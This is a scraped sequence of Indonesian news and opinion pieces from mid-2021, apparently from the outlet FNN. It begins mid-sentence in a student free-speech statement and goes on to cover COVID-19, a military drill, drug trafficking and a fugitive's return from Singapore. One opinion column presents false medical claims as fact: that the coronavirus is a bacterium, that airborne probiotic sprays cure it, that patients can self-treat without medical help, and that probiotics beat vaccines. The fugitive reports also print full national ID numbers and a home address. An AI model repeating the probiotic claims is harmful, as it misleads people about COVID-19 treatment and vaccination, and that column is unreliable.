pembungkaman suara rakyat merupakan pengingkaran terhadap demokrasi yang telah diterapkan di negara Indonesia itu sendiri. Demikian Siaran Pers dan Pernyataan Sikap yang kami sampaikan terhadap Peristiwa pembungkaman berpendapat, sekaligus pembungkaman akademik yang menimpa mahasiswa Universitas Indonesia. Mendiamkan Penindasan adalah Awal dari Ketidakadilan! #KamiBersamaBEMUI #KrisisDemokrasiKampus Solidaritas Pembungkaman Ruang-ruang Demokrasi Kampus UI: 1. Aliansi BEM Seluruh Indonesia 2. Bangsa Mahasiswa 3.Fraksi Rakyat Indonesia 4. Greenpeace Indonesia 5. BEM STHI Jentera 6. Bersihkan Indonesia 7. Enter Nusantara 8. BEM KM Universitas Yarsi 9. KIKA 10. Aliansi BEM se-UNNES 11. PUSaKO FH UNAND 12. BEM Hukum UNHAS 13. BEM UNSIL 14. Aliansi Rakyat Bergerak 15. BEM KEMA FKB Telkom 16. BEM FISIP UNMUL 17.AKSI KAMISAN KALTIM 18. BEM FH UPNVJ 19. BEM ESA UNGGUL 20. LBH pos Malang 21. SAKSI FH Unmul 22. BEM PM Universitas Udayana 23. Serikat Mahasiswa Progresif Universitas Indonesia 24. BEM FISIP UI 25. YLBHI 26. Aliansi BEM se-Undip 27. AJI Jakarta 28. Aliansi BEM Univ. Brawijaya 29. BEM FH UNAND 30. Perhimpunan Pers Mahasiswa Indonesia (PPMI) Nasional 31. JATAM Kaltim 32. Indonesian Center for Environmental Law 33. JATAMNAS 34. CALS 35. Aliansi Tolak Omnibus Law 36. BEM FH UI 37. BEM FKM UI 38. BEM FIB UI 39. BEM FPsi UI 40. BEM Fasilkom UI 41. BEM FIK UI 42. BEM Vokasi UI 43. BEM FKG UI 44. BK MWA UI UM

Saatnya Presiden Gunakan Probiotik!

Oleh Mochamad Toha Hasil uji laboratorium, Probiotik bisa meningkatkan antibodi 250 hingga 770, bahkan ada di atas 1000. Sedangkan vaksin cuma kisaran 30 hingga 40 saja. World Health Organization (WHO) sudah mengeluarkan laporan tentang kondisi COVID-19 di Indonesia. WHO pun telah menyarankan Indonesia segera melakukan lockdown atau karantina wilayah menghadapi lonjakan kasus Covid-19. Tapi, Presiden Joko Widodo berkali-kali menegaskan, Pemerintah tak akan melakukan Lock Down terkait penyebaran Virus Corona (Covid-19) yang semakin massif. Pemerintah hanya menerapkan Pembatasan Pergerakan Kegiatan Masyarakat (PPKM). Selain itu, WHO juga melihat bahwa sebagian besar provinsi di wilayah Jawa melaporkan peningkatan jumlah kasus dan kematian. WHO juga melihat ada peningkatan konfirmasi varian Delta yang harus menjadi perhatian. Dalam laporan WHO sebanyak 32 halaman tersebut, Indonesia diminta segera melakukan tindakan terkait potensi lonjakan kasus di provinsi yang disorot, yaitu DKI Jakarta, Jawa Barat, Jawa Tengah, DI Jogjakarta, Jawa Timur, dan Banten. Apalagi, tingkat hunian tempat tidur juga telah dilaporkan tinggi di semua provinsi ini dan dipertimbangkan dalam penilaian risiko. WHO meminta Indonesia belajar dari India yang pernah menghadapi lonjakan kasus Covid-19. Selain itu, adanya virus baru yang menjadi varian of concern (VOC) memiliki transmisi penularan yang sangat cepat. Sehingga, kebijakan karantina wilayah atau lockdown harus segera diambil. Konsekuensi darilockdown tersebut, sesuai pasal 55 UU Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan, kebutuhan hidup dasar orang dan makanan hewan ternak menjadi tanggung jawab Pemerintah Pusat. Berikut petikanPasal 55: (1) Selama dalam Karantina Wilayah, kebutuhan hidup dasar orang dan makanan hewan ternak yang berada di wilayah karantina menjadi tanggung jawab Pemerintah Pusat. (2) Tanggung jawab Pemerintah Pusat dalam penyelenggaraan Karantina Wilayah sebagaimana dimaksud pada ayat (1) dilakukan dengan melibatkan Pemerintah Daerah dan pihak yang terkait. Bisa jadi, Pemerintah Pusat tak siap dengan konsekuensi lockdown itu. Maka, Pemerintah Pusat maupun Daerah hanya menerapkan PPKM Mikro. Kalau Presiden Jokowi tidak mau lockdown, Pemerintah bisa menggunakan proses Probiotik. Sehingga, masyarakat masih bisa beraktivitas secara normal. Dengan Probiotik tersebut, masyarakat yang terinfeksi corona bisa berobat mandiri.Tidak perlu bantuan medis. Tidak perlu ke rumah sakit. Sehingga, Pemerintah tak perlu juga repot-repot menyediakan makanan makhluk hidup sesuai pasal 55 UU Nomor 6 Tahun 2018 itu. Paramedis hanya memantau perkembangan pengobatannya saja. Secara istilah, menurut WHO/FAO, Probiotik merupakan organisme hidup yang bila dikonsumsi dalam jumlah yang cukup, mampu memberikan efek yang menguntungkan kesehatan host (inang)nya. Probiotik yang efektif harus memenuhi beberapa kriteria: Memberikan efek menguntungkan pada host; 2. Tidak patogenik (bersifat menimbulkan penyakit) dan tidak toksik (bersifat racun); 3. Mengandung sejumlah besar sel hidup; 4. Mampu bertahan dan melakukan kegiatan metabolisme dalam usus; Tetap hidup selama dalam penyimpanan dan waktu digunakan; 6. Mempunyai sifat sensori yang baik; 7. Diisolasi dari host. Probiotik akan berkompetisi dengan bakteri patogen pada tempat menempelnya bakteri di mukosa usus dan memodulasi sistem imun. Terdapat beberapa spesies yang telah diteliti dan digunakan sebagai probiotik di pasaran. Yakni Lactobacillus Acidophilus, Lactobacillus Casei, Lactobacillus Gg, Bifidobacterium Bifidum, Bifidobacterium Longum, Streptococcus Thermophilus, Enterococcus Faecium, dan Saccharomyces Boulardi. Yang umum digunakan yaitu kelompok Lactobacillus dan Bifidobacteria. Efek kesehatan yang menguntungkan dari probiotik adalah: Memperbaiki keluhan malabsorsi laktosa; 2. Meningkatkan ketahanan alami terhadap infeksi di usus; 3. Supresi kanker; 4. Mengurangi kadar kolesterol darah; Memperbaiki pencernaan; 6. Stimulasi imunitas gastrointestinal (hal yang berhubungan dengan pencernaan, terutama lambung dan usus). Manfaat Probiotik diantaranya: Anti alergi; 2. Anti inflamasi/peradangan; 3. Anti kanker; 4. Anti konstipasi/sembelit; 5. Anti diabetes; 6. Anti obesitas/kegemukan; 7. Anti infeksi dalam dan luar tubuh; 8. Detoksifikasi/membuang racun; Memperbaiki pencernaan; 10. Memperbaiki pencernaan gizi; 11. Melancarkan aliran darah; 12. Memaksimalkan fungsi obat; 13. Memperbaiki fungsi organ dalam (misal: ginjal, hati, jantung, limfa); Mengatasi problem darah (hipertensi, anemia, leukemia); 15. Mengontrol kadar kolesterol darah; 16. Meningkatkan imunitas tubuh dan manfaat-manfaat lainnya yang masih terus diteliti para ilmuwan. Mengingat sifat probiotik yang bisa mengkoloni virus yang merugikan, sehingga aman bagi yang memakai probiotik, maka pemakaian probiotik untuk melawan corona sangat ditunggu. Karena, corona akan dikoloni dan dikeluarkan dari tubuh pasien secara alami. Dengan teknologi probiotik dimaksudkan untuk mengembalikan alur kehidupan sesuai pada fitrahnya. Tidak membuat rekayasa yang mengarah kepada menentang ketentuan yang Maha Kuasa. Merusak alam dengan dalil/argumentasi untuk pembangunan dan kemaslahatan. Menurut Ali Athwa, praktisi pengobatan dengan pendekatan Probiotik, manusia itu kalau sudah menuhankan akalnya, bagi ilmuwan Barat, ilmu adalah bebas nilai, dengan ilmu mereka bebas melakukan apapun,Tuhan dinomorsekiankan. “Bahkan dianggap tidak ada,” ungkapnya. Itulah sebabnya orang-orang yang berada di puncak pengetahuan rekayasa (termasuk ahli bakteri mesti atheis alias tidak bertuhan). Bahwa alam dengan susunan, dan kandungannya, sudah didesain sedemikian rupa sempurna untuk ummat manusia. Dalam formula probiotik terkandung bakteri yang mempunyai sifat alamiah mempertahankan hidupnya melalui mekanisme hidup bersiklus. Ada miliaran bakteri di dalam produk probiotik dengan pola kerja yang sangat indah. Ada bakteri positif 60%, bakteri negatif 30%, dan bakteri netral/oportunis sebanyak 10%. Di sana juga terdapat bakteri thermophilic (tahan suhu tinggi) dan an thermophilic, bakteri aerobik dan anaerob, tahan asam dan tidak tahan asam dll. Mereka berpasang-pasangan. Layaknya manusia dan makhluk/ciptaan Allah yang lain. Lantas, apa hubungannya dengan Corona? Corona itu juga bakteri. Dalam ilmu probiotik ini tidak dibedakan antara: bakteri, jamur maupun virus, karena mereka bakteri juga pada tempat dan kondisi yang berbeda. Semuanya masing-masing ada perannya di alam ini. Semuanya itu ada manfaatnya, dan sesuai dengan fitrahnya masing-masing. Ketika tangan manusia telah membuat sesuatu untuk ambisi dan keserakahannya, maka muncullah ‘malapetaka’ seperti yang kita sedang rasakan saat ini. Bagaimana kerja probiotik terhadap corona? Menurut Ali Athwa, dalam 1 detik per 1 ekor bakteri probiotik yang disemprotkan ke udara, mereka akan beranak pinak setidaknya 6.000 ekor. Berapa ratus juta untuk sekali semprot ke udara, anak-anak bakteri probiotik ini akan berkembang memenuhi ruang, kamar rumah, lingkungan, gedung-gedung dan seterusnya, alam di sekitar kita. “Termasuk yang akan membentengi tubuh kita secara aktif mengelola sistem imunitas tubuh kita. Insya’ Allah virus/bakteri corona yang liar dan keluar dari tabiatnya akan bertemu di sana dan akan diajak kembali ke habitat fitrahnya,” lanjutnya. Dengan Probiotik ini, masyarakat yang terinveksi corona bisa berobat mandiri. Tak perlu bantuan medis lagi. Tapi tetap perlu konsultasi. Kalau berat,juga tetap harus opname. Tetapi dengan probiotik ini, harapan kesembuhannya menjadi lebih besar dan lebih cepat. Kabarnya, beberapa titik di Kecamatan Pandaan, Kabupaten Pasuruan, Jawa Timur, sudah mengaplikasikan formula probiotik ini, dan hasilnya beberapa titik tersebut sudah terbebas dari paparan Covid-19. Ada orang penting di satu daerah. Dua hari menjelang hari H, setelah diswab, ternyata positif. Malamnya setelah diswab, disarankan mengkonsumsi formula probiotik sesuai takaran yang ditetapkan. Diminum setiap 1 jam sekali, semampunya pasien (diminum mulai pukul 21.30). Belum diketahui, sampai berapa kali minumnya. Esok harinya, pukul 11.00 diswab lagi. Hasilnya: NEGATIF. Note: tanpa comorbid. Hasil negatifnya, terkonfirmasi melalui 2x uji lab, di RS Semen Gresik (SG) dan Parahita Surabaya. Mulai minum sampai uji lab yang hasilnya Negatif itu dalam waktu hanya 13,5 jam. Ini fakta di lapangan, bukan Hoax! Salah satu produk probiotik yang sudah teruji lab (imuno serologi Sarcov kuantitatif) bisa meningkat hingga 250, ada yang 770, bahkan ada di atas 1000. Semua ini berdasar testimoni yang sudah teruji di laboratorium. Sementara itu, vaksin hanya bantu tingkatkan antibodi di angka 30 – 40. Dengan probiotik ini, juga tidak menafikan peran obat kimia. Jadi jangan sok anti medis, anti rumah sakit, dan serterusnya. Penulis adalah Wartawan Senior FNN

Ketua MPR: Latihan Lawan Terorisme TNI di MPR/DPR Jaga Kedaulatan NKRI

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo menyatakan kegiatan latihan penanggulangan ancaman terorisme yang dilakukan oleh Tentara Nasional Indonesia (TNI) di kompleks MPR/DPR RI di Jakarta, Minggu, merupakan upaya melindungi kedaulatan Negara Kesatuan Republik Indonesia (NKRI). “Kegiatan latihan Satuan Penanggulangan Terorisme (Satgultor) TNI di Kompleks MPR/DPR RI bukan semata-mata hanya untuk melindungi para anggota dewan atau pejabat publik yang beraktivitas di sana. Namun lebih dari itu, kegiatan tersebut merupakan bentuk melindungi kedaulatan rakyat sebagai bagian tidak terpisahkan dari keberadaan kompleks Majelis,” kata Bambang Soesatyo, atau yang populer dengan nama Bamsoet, sebagaimana dikutip dari keterangan tertulisnya yang diterima di Jakarta, Minggu. Ia menerangkan Kompleks MPR/DPR RI di Senayan, Jakarta, merupakan salah satu objek vital negara yang tidak boleh jatuh ke tangan teroris. “Oleh karena itu Satgultor TNI harus senantiasa waspada dan siap siaga terhadap segala kemungkinan. Salah satunya dengan menggelar latihan secara berkala di Kompleks Majelis,” terang Bamsoet usai menyaksikan acara latihan. Dalam keterangan yang sama, Bamsoet memuji keahlian anggota satuan yang terdiri dari tiga pasukan khusus, yaitu Satuan-81 Komando Pasukan Khusus (Kopassus) TNI Angkatan Darat, Detasemen Jalamangkara (Denjaka) TNI Angkatan Laut, dan Satuan Bravo-90 Korps Pasukan Khas TNI Angkatan Udara. Menurut Bamsoet, tiga pasukan khusus yang tergabung dalam Satgultor memiliki kemampuan di atas rata-rata. Pasalnya, Satgultor TNI tidak hanya mampu menundukkan teroris yang bersenjata api, tetapi juga para pelaku yang menggunakan senjata biologis. Satuan khusus itu, kata Bamsoet, juga mampu menanggulangi serangan teror saat situasi pandemi atau wabah penyakit. “Latihan berkala akan semakin meningkatkan kemampuan para prajurit pilihan dari tiga matra TNI. Dengan demikian, mereka senantiasa siap memenuhi setiap panggilan tugas yang dapat datang kapanpun,” terang Bamsoet. Dalam keterangan yang sama, ia mengatakan Satgultor TNI juga harus didukung oleh kesiapan alat utama sistem persenjataan. “Untuk mencapai kekuatan pokok minimum (MEF) hingga 2044, Kementerian Pertahanan setidaknya membutuhkan anggaran sebesar Rp1.750 triliun. Tugas Kementerian Keuangan beserta seluruh komponen pemerintahan mencari sumber pendanaannya. Besarnya anggaran tersebut sangat realistis mengingat luasnya wilayah dan posisi strategis Indonesia dalam percaturan geopolitik dunia,” tegas Bamsoet. (mth)

Dandim: Tingkat Kesadaran Prokes Turun Picu Lonjakan Kasus di Jembrana

Denpasar, FNN - Dandim 1617/Jembrana Letkol Inf. Hasrifuddin Haruna mengatakan kasus COVID-19 di Jembrana, Bali, kembali meningkat karena tingkat kesadaran masyarakat turun dalam penerapan protokol kesehatan. "Perkembangan laju kasus COVID-19 di Kabupaten Jembrana selama 2 hari terakhir ini cukup signifikan," kata Dandim dalam siaran pers yang diterima di Denpasar, Bali, Minggu. Guna menekan laju peningkatan kasus COVID-19 di Jembrana, menurut Dandim, masih membutuhkan keterbukaan data dari bawah, mulai dari tingkat banjar, desa/kelurahan, hingga kecamatan tentang kondisi kesehatan masyarakat di masing-masing wilayah. Selanjutnya, satgas mengecek masyarakat yang sakit di lokasi. Selain itu, percepatan tracing guna mendeteksi adanya indikasi klaster COVID-19 dari kelompok yang bisa muncul. Perihal menurunnya kesadaran warga untuk menerapkan prokes serta keengganan masyarakat untuk melaksanakan vaksinasi, Dandim memandang perlu kerja sama antardinas atau OPD yang lebih intens. "Perlu pula memperketat pemberian persyaratan suket vaksinasi bagi warga untuk mengurus administrasi di kantor pemerintah atau untuk memperoleh hak warga, seperti BLT dan bansos," katanya. Dandim Haruna juga menambahkan saat ini dari Gugus Tugas COVID-19 sudah melaksanakan pengetatan seperti di Pelabuhan Gilimanuk. Ia menekankan petugas selalu mengecek keaslian dan memperhatikan surat keterangan negatif COVID-19 yang dibawa oleh warga yang masuk Bali. Sebelumnya, saat melakukan sidak, masih ditemukan masyarakat yang masuk Bali menggunakan suket negatif COVID dari Poli Pelayanan Bersalin Rawat Jalan di Jawa (lembaga yang mengeluarkan suket tidak kredibel atau tidak bisa dipercaya). Warga yang ditemukan tersebut dilakukan sampling ulang tes cepat antigen atau GeNose di Pelabuhan Gilimanuk. Sementara itu, Kodam IX/Udayana juga melaksanakan vaksinasi massal di tiga kabupaten dengan capaian vaksinasi terendah, yaitu di Kabupaten Jembrana, Buleleng dan Tabanan. Pemberian serbuan vaksin ini bertujuan membantu capaian vaksinasi di Bali yang melebihi 50 persen. Sementara itu, penduduk Bali yang tervaksin saat ini sekitar 1,6 juta jiwa dari target 3 juta jiwa penduduk yang layak vaksin. (sws)

Sebanyak 94.158 Pasien COVID-19 di Wisma Atlet Sembuh

Jakarta, FNN - Sebanyak 94.158 pasien terkonfirmasi positif COVID-19 yang dirawat di Rumah Sakit Darurat (RSDC) COVID-19 Wisma Atlet Kemayoran Jakarta Pusat dinyatakan sembuh. "Untuk pasien rujuk tercatat sebanyak 932 orang dan pasien meninggal 111 orang," kata Kepala Penerangan Komando Gabungan Wilayah Pertahanan (Kogabwilhan) I Kolonel Marinir Aris Mudian melalui keterangan tertulis yang diterima di Jakarta, Minggu. Ia menyebutkan jumlah pasien yang rawat inap terdata 6.910 orang dengan perincian 3.586 laki-laki dan 3.324 perempuan. Jumlah tersebut berkurang 118 orang dari data sebelumnya sebanyak 7.028 pasien. "Seluruh pasien rawat inap ditempatkan di tower empat, lima, enam, dan tujuh," ujar Kolonel Marinir Aris Mudian. Terhitung sejak 23 Maret 2020 hingga Minggu, 27 Juni 2021, Rumah Sakit Darurat COVID-19 Wisma Atlet Kemayoran mendata 102.111 orang terdaftar di RS itu guna mendapatkan perawatan, sementara pasien keluar terdata 95.201 orang. Selain mendata perkembangan penanganan pasien di Rumah Sakit Darurat COVID-19 Wisma Atlet, Kolonel Marinir Aris Mudian juga melaporkan data pembaruan di Rumah Sakit Khusus Infeksi (RSKI) Pulau Galang, Kepulauan Riau. "Pasien rawat inap sebanyak 109 orang yang terdiri atas 78 laki-laki dan 31 perempuan, semua pasien terkonfirmasi positif dan pasien suspek nihil," katanya. Terhitung sejak 12 April hingga 27 Juni 2021 pasien terdaftar di RSKI Pulau Galang sebanyak 14.150 orang, pasien sembuh 6.702 suspek atau selesai perawatan 7.297 orang dan nihil kematian. (sws)

Gubernur Akmil Dikenal Sebagai Sosok Yang Memimpin dengan Hati

Jakarta, FNN - Gubernur Akademi Militer Mayjen TNI Candra Wijaya dikenal oleh para prajurit sebagai sosok pemimpin yang memimpin dengan hati. Kasubdis Penmedonline Kolonel Arm Anang Krisna dalam siaran TNI AD di Jakarta, Minggu, menceritakan bagaimana sosok Mayjen TNI Candra Wijaya ketika memimpin Dinas Penerangan TNI AD. "Namanya komandan, Kadispen pada waktu itu, bayangan kita itu kan pasti galak, karena menginginkan tentara itu serba cepat dan tepat. Tetapi Pak Candra itu dia memimpin kalau boleh saya bilang memimpin dengan hati," kata dia. Mayjen TNI Candra Wijaya ketika memimpin Dispenad menurut Kolonel Arm Anang Krisna mengerti kekurangan dan kelebihan prajurit yang dipimpinnya. Candra Wijaya juga bagus dalam mengarahkan bawahannya. "Beliau mengarahkan para anggota itu enak, tanpa membuat tersinggung, atau dalam bahasa tentara itu tanpa membuat dongkol. Justru kita kadang malu sendiri kalau kita ada salah, ditegur saja kita sudah merasa salah, tidak perlu sampai beliau itu marah-marah," kata Anang. Kemudian Mayjen TNI Candra Wijaya juga dikenal sebagai sosok yang mengenali bawahannya, bahkan mengenali prajuritnya satu per satu. "Kita seperti menemukan sosok bapak di lapangan, Pak Candra itu mau turun ke bawah. Seorang anggota kalau dipanggil namanya langsung itu rasanya beda dengan dipanggil 'hei kamu-kamu', rasanya akan beda jika dipanggil nama, rasanya pimpinan kenal saya. Dan Pak Candra mengenali anggotanya satu per satu," kata Anang. Setelah memimpin Dispenad Mayjen TNI Candra Wijaya kemudian dipercaya sebagai Kasdam IX/ Udayana. Pada 2021 ini, Mayjen TNI Candra Wijaya mendapatkan kepercayaan menjadi Gubernur Akademi Militer (Akmil). Mayjen TNI Candra Wijaya usai pelantikannya mengatakan bertekad akan mempersiapkan para personel TNI AD yang berjiwa saing kuat menjadikan pemimpin tangguh di masa yang akan datang. (sws)

Hendra Subrata Buron 10 Tahun Tertangkap di Singapura

Jakarta, FNN - Setelah 10 tahun menghilang sejak divonis empat tahun oleh Majelis Hakim Pengadilan Negeri Jakarta Barat atas kasus percobaan pembunuhan, terpidana Hendra Subrata yang kini berusia 81 tahun tiba di Jakarta, Sabtu malam. Hendra Subrata alias Anyi diterbangkan dari Singapura menggunakan pesawat Garuda Indonesia dengan nomor penerbangan GA 837 pukul 18.45 WIB. Dari gambar yang beredar di internet, Hendra Subrata dibawa menggunakan kursi roda menuju kabin pesawat. Setibanya di Jakarta, Hendra Subrata selanjutnya menjalani eksekusi pidana kurungan atas kasus percobaan pembunuhan terhadap Hermanto Wibowo yang tak lain rekan bisnis-nya. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung Leonard Eben Ezer Simanjuntak mengatakan Hendra Subrata alias Anyi adalah buronan masuk dalam Daftar Pencarian Orang (DPO) Kejaksaan Negeri Jakarta Barat. "Saat ini berada di Singapura dia menggunakan paspor atas nama Endang Rifai," ucap Leonard Keberadaan Hendra Subrata terdeteksi di Singapura saat hendak memperpanjang paspor pada Februari 2021 di Kedutaan Besar Republik Indonesia di Singapura. Namun, saat itu Hendra sudah berganti identitas dengan menggunakan paspor atas nama Endang Rifai. Saat wawancara dan penelitian berkas, petugas Atase Imigrasi KBRI Singapura curiga dengan Endang Rifai. Ditambah yang bersangkutan mulai gelisah dan marah saat proses wawancara berlangsung lama. Petugas mencoba menelusuri dengan menanyakan nama istri-nya, karena Hendra mengaku harus buru-buru kembali untuk merawat istri-nya yang sedang sakit. Ketika petugas Atase Imigrasi menanyakan siapa nama istri-nya, Hendra menyebutkan nama Linawaty Widjaja. Dari penelusuran petugas Atase Imigrasi didapati nama Linawaty Widjaja, namun nama suami yang dituliskan bukan Endang Rifai melainkan Hendra Subrata. Hasil cek ulang yang dilakukan Atase Imigrasi dan Atase Kepolisian dengan Direktorat Jenderal Imigrasi dan Kepolisian RI mendapati bahwa Endang Rifai adalah Hendra Subrata yang sudah DPO selama 10 tahun. Jaksa Agung Republik Indonesia tanggal 19 Februari 2021 telah berkomunikasi dan meminta bantuan Duta Besar Luar Biasa dan Berkuasa Penuh Indonesia untuk Singapura agar dapat membantu pemulangan buronan terpidana Hendra Subrata alias Anyi alias Endang Rifai ke Indonesia. "Semula direncanakan pemulangan DPO Hendra Subrata dilakukan bersamaan dengan pemulangan buronan terpidana Adelin Lis dengan menggunakan pesawat khusus yang telah dipersiapkan Kejaksaan Republik Indonesia (pesawat Charter)," papar Leonard. Tetapi karena pemulangan Adelin Lis tidak diizinkan menggunakan pesawat yang disewa Kejaksaan Agung, maka keduanya dipulangkan terpisah. Bedanya, Hendra Subrata lebih kooperatif dibanding Adelin Lis saat dipulangkan sesuai jadwal kepulangan dari Kejaksaan Agung. Perlakuan pemulangan Imigrasi Singapura kepada Hendra nisbi sama. Ia diberangkatkan dari Kantor ICA di Kallang dan langsung masuk ke dalam pesawat. Proses check-in dilakukan oleh petugas ICA sebelumnya. Pengadilan Negeri Jakarta Barat memvonis Hendra selama empat tahun penjara pada 2010. Upaya banding dan kasasi yang dilakukan ditolak. Ketika akan dieksekusi sesuai putusan kasasi Mahakamah Agung dia melarikan diri. Polda Metro Jaya menerbitkan surat daftar pencarian orang dari Kejaksaan Negeri Jakarta Barat pada 28 September 2011. Selama 10 tahun Hendra menghilang dan tidak pernah menjalani hukumannya. Setibanya di Indonesia, Hendra Subrata akan menjalani hukuman pidana empat tahun seperti putusan Pengadilan Negeri Jakarta Barat. (sws)

BNN Sumut: Kawasan Sungai Deli Jadi Lokasi Peredaran Narkoba Terbesar

Medan, FNN - Kepala Badan Narkotika Nasional (BNN) Provinsi Sumatera Utara Brigjen Pol Atrial mengatakan bahwa lokasi peredaran narkoba terbesar di Kota Medan berada di sepanjang aliran Sungai Deli. "Hampir sebagian besar peredaran narkoba itu banyak di sepanjang Sungai Deli," ungkap-nya saat acara talkshow Hari Anti Narkotika Internasional (HANI) 2021 di Taman Lili Suheri, Medan, Sabtu. Ia mengatakan bahwa pihaknya bersinergi bersama pemerintah daerah terus melakukan upaya-upaya untuk mencegah peredaran narkoba, khususnya di tempat-tempat yang menjadi markas transaksi jual beli narkoba. "Maunya setiap kelurahan untuk membersihkan pinggiran Sungai Deli, banyak gubuk-gubuk liar itu tempat pakai narkoba. Jadi wajibkan lurah atau kepling (kepala lingkunagan)-nya bersihkan itu," ujarnya. Untuk mengatasi masalah peredaran narkoba di kawasan Sungai Deli, Pemerintah Kota Medan telah membuat sejumlah kegiatan yang digelar di kawasan Sungai Deli dalam rangka pemanfaatan sungai dengan melibatkan masyarakat setempat. "Hari ini yang dibutuhkan (memberantas narkoba-red) adalah kegiatan, kegiatan untuk mencintai sungai. Nanti kita buat di situ kegiatan ekonomi yang memanfaatkan sungai sebagai tempat penarik pengunjung," kata Wali Kota Medan Bobby Nasution yang juga hadir pada acara tersebut.

Buronan Hendra Subrata Berganti KTP Hingga Ganti Agama

Jakarta, FNN - Buronan terpidana percobaan pembunuhan Hendra Subrata (81) alias Anyi dipulangkan dari Singapura ke Jakarta setelah 10 tahun melarikan diri, dalam ekspose di Kejaksaan Agung, Sabtu malam, terungkap dirinya telah berganti KTP dan agama. Kepala Pusat Penerangan Hukum (Kapuspenkum) Leonard Eben Ezer Simanjuntak menyebutkan, Hendra Subrata sebelumnya memiliki Kartu Tanda Penduduk (KTP) DKI Jakarta, tempat tanggal lahir di Jakarta, 4 Mei 1940, beralamat di Jalan Kamboja No 1 RT 010/RW 001, Keluran Jati Pulo, Palmerah, Jakarta Barat, agama Kristen, pekerjaan swasta, dengan nomor KTP 0952060405400033. Pada saat mengurus perpanjangan paspor di KBRI Singapura ditemukan kecurigaan, Hendra menggunakan KTP atas nama Endang Rifai yang dikeluarkan oleh Provinsi Banten, tepatnya Kabupaten Tangerang. Perbedaannya dalam KTP Provinsi Banten, kata Leonard, nama yang bersangkutan adalah Endang Rifai yang semula Hendra Subrata, tempat lahir yang semula di Jakarta, di dalam KTP Provinsi Banten lahir di Tangerang tanggal 6 Juni 1948 dan agama yang semula beragama kristen, di KTP Provinsi Banten beragama Islam, dengan nomor KTP tercatat 3603230605480001. "Jadi yang bersangkutan (Hendra Subrata alias Endang Rifai-red) berganti nama dan berganti identitas dengan KTP Tangerang," ungkap Leonard. Perubahan identitas Hendra Subrata inilah yang menyebabkan proses deportasi-nya berbeda dengan Adelin Lis. Adelin Lis dikategorikan sebagai buronan tingkat tinggi, ditangkap oleh Imigrasi Singapura karena menggunakan paspor palsu atas nama Hendro Leonardi. Bahkan, terpidana kasus pembalakan liar tersebut menjalani sidang dan dipidana denda sebesar 14.000 dollar Singapura atau sekitarRp114 juta. "Bahwa Adelin Lis ada proses hukum karena dilakukan oleh Imigrasi Singapura dan dimasukkan dalam proses hukum, namun Hendra Subrata ini memperpannjang paspor di KBRI dan ditangani oleh Imigrasi Indonesia di Singapura, itu perbedaa-nya, dan kemudian dalam proses hukum terpidana Adelin Lis didampingi oleh pengacara dilaksanakan persidangan dengan jaksa Singapura, kalau Hendra Subrata tidak ada masalah hukum di Singapura," ungkap Leonard. Jaksa Agung Muda Intelijen (JAMItel) Sunarta menyebutkan, deportasi Hendra Subrata terlaksana berkat kecermatan dan kesungguhan KBRI Singapura dalam menindaklanjuti kecurigaan dan temuan fungsi imigrasi KBRI Singapura mengenai identifas paspor warga negara Indonesia atas nama Endang Rifai dan kesamaannya dengan data WNI atas nama Hendra Subrata. "Kerja sama lingkup internal yang efektif dan pelaksanaan koordinasi dengan Dirjen Imigrasi, Kejagung dan Mabes Polri serta masing-masing fungsi Atase yang berjalan lancar membuat identifikasi dan pemulangan tersebut menjadi lebih mudah," papar Sunarta. Hendra Subrata dipulangkan ke Jakarta menggunakan pesawat Garuda Indonesia dengan nomor penerbangan GA 837, berangkat dari Singapura pukul 18.45 waktu setempat. Pesawat yang membawa buronan Kejaksaam Negeri Jakarta Barat itu mendarat di Bandara Seokarno-Hatta sekitar pukul 19.40 WIB. Terpidana Hendra Subrata langsung dibawa ke Kejaksaan Agung untuk selanjutnya menjalani eksekusi badan di Rumah Tahanan Salemba Cabang Kejaksaan Agung. Sebelumnya menjalani pemeriksaan kesehatan dan isolasi sesuai protokol kesehatan COVID-19. Pemulangan Hendra Subrata mendapat perlakuan khusus karena usianya yang sudah sepuh. Meski dapat berjalan, pria usia 81 tahun itu menggunakan tongkat saat berdiri, dan dibawa menggunakan kursi roda. Kejaksaan Agung juga menyiapkan ambulans serta petugas kesehatan yang mengawal perjalanan Hendra Subrata dari Bandara Soekarno-Hatta ke Kejaksaan Agung dan menuju Rutan Salemba. Berdasarkan kasasi putusan Mahkamah Agung, Hendra Subrata divonis empat tahun pidana penjara sebagaimana diatur dalam Pasal 338 KUHP Jo Pasal 53 ayat (1) KUHP. Hendra Subrata melakukan percobaan pembunuhan terhadap korban Herwanto Wibobo yang tak lain rekan bisnis-nya, pada tahun 2009. (sws)

Imigrasi KBRI Singapura Tangkap Buronan Kejaksaan Agung

Jakarta, FNN - Petugas Atase Imigrasi Kedutaan Besar Republik Indonesia (KBRI) Singapura berhasil menangkap Hendra Subrata alias Endang Rifai buronan Kejaksaan Agung saat mengajukan permohonan penggantian paspor. "Endang Rifai mengajukan penggantian paspor dengan melampirkan persyaratan berupa KTP, izin tinggal long term bisit pass yang berlaku hingga 2 April 2021," kata Kepala Bagian Humas dan Umum Direktorat Jenderal Imigrasi Kementerian Hukum dan Hak Asasi Manusia Arya Pradhana Anggakara melalui keterangan tertulis yang diterima di Jakarta, Sabtu malam. Endang Rifai juga menyertakan surat keterangan dokter yang menyatakan dirinya pasien di salah satu rumah sakit ternama di Singapura dengan keterangan tambahan istri-nya Linawaty Widjaja dalam keadaan sakit stroke. Endang Rifai mengaku alasannya tinggal di Singapura untuk mendampingi istri yang sedang sakit. Pada 28 Mei 2020 diketahui istri Endang Rifai terlebih dahulu mengajukan permohonan penggantian paspor di KBRI Singapura. Saat petugas Atase Imigrasi KBRI Singapura melakukan penelitian dan pendalaman terhadap berkas Endang Rifai, ditemukan adanya ketidaksesuaian antara data yang dilampirkan Endang Rifai dengan data yang dilampirkan Linawaty Widjaja. Dalam dokumen Kartu Keluarga (KK) yang dilampirkan Linawaty Widjaja menyatakan nama suaminya Hendra Subrata sedangkan Endang Rifai pada pengajuannya mengisi data istri pada formulir Perdim 11 dengan nama Linawaty Widjaja. Nama lahir dari Endang Rifai yakni Jong Khim Tjiang yang mana berdasarkan surat pernyataan ganti nama nomor 127/I/Kep/12/1966 tanggal 1 Juli 1968 nama tersebut diganti menjadi Hendra Subrata. Berdasarkan hasil temuan tersebut Endang Rifai diduga kuat merupakan orang yang sama dengan Hendra Subrata buronan Kejaksaan Agung. "Hasil pendalaman Atase Imigrasi bekerja sama dengan Atase Kepolisian KBRI Singapura 